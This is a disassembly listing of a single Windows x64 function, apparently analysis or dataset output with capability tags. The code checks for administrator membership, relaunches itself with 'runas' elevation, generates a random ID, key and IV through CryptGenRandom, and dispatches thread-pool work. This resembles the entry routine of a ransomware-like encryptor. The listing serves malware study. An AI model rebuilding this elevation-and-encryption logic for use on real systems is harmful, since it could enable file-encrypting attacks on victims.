Function at 0x140001e60
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rbx, rdx
cmp ecx, 2
jge 0x140001f8d
xor esi, esi
mov word [rbp + 0x14], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], esi
mov r9d, 0x220
mov dword [rsp + 0x40], esi
mov r8d, 0x20
mov dword [rsp + 0x38], esi
mov dl, 2
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov dword [rbp + 0x10], esi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor ecx, ecx
cmp dword [rsp + 0x60], esi
jne 0x140001f68
mov r8d, 0x104
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov dword [rbp - 0x60], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rbp - 0x5c], ymm0
mov qword [rbp + 4], rax
lea rcx, [rbp - 0x60]
mov dword [rbp + 0xc], eax
lea rax, str.runas
vmovups ymmword [rbp - 0x3c], ymm0
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x60]
mov qword [rbp - 0x48], rax
lea rax, str.__runasadmin
mov qword [rbp - 0x40], rax
vmovups ymmword [rbp - 0x1c], ymm0
mov dword [rbp - 0x30], esi
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [rbx]
lea r9, str.__foodisum
mov dword [rsp + 0x28], esi
lea rdx, str.open
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140002159
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
mov qword [rsp + 0x2b0], r14
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov eax, dword [0x140006158]
lea rdi, [rbp + 0x18]
vmovups ymm0, ymmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov dword [rbp - 0x70], eax
xor esi, esi
movzx eax, byte [0x14000615c]
mov ebx, esi
mov byte [rbp - 0x6c], al
movabs r14, 0xe38e38e38e38e38f
vmovups ymmword [rsp + 0x70], ymm0
mov eax, 0xcccccccd
mov ecx, ebx
mul ebx
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 4
jne 0x140001ffa
mov al, 0x2d
jmp 0x140002020
vzeroupper
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x70]
mov byte [rdi], al
inc ebx
inc rdi
cmp ebx, 0x13
jl 0x140001fe0
mov r14, qword [rsp + 0x2b0]
lea rcx, [rbp + 0x10]
mov rdi, qword [rsp + 0x2a0]
mov r9d, 0x18
mov byte [rbp + 0x2b], sil
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x40]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x30]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp + 0x10]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.140001c10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov qword [0x1400068e0], rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov rcx, qword [0x1400068e0]
lea r8, [rbp + 0x18]
mov qword [0x140006908], rcx
lea rdx, [rbp + 0x30]
vpxor xmm0, xmm0, xmm0
lea rcx, [rbp + 0x40]
mov qword [0x140006948], rax
mov dword [0x140006900], 3
vmovdqu xmmword [0x140006920], xmm0
mov qword [0x140006930], rsi
mov dword [0x140006938], esi
mov dword [0x14000693c], 1
mov dword [0x140006940], 0x48
mov qword [0x140006910], rax
mov qword [0x140006918], rsi
call fcn.140001700
mov rcx, qword [0x140006948]
test rcx, rcx
je 0x140002147
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x140006948]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x1400068e0]
test rcx, rcx
je 0x140002159
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140002190
add rsp, 0x280
pop rsi
pop rbx
pop rbp
ret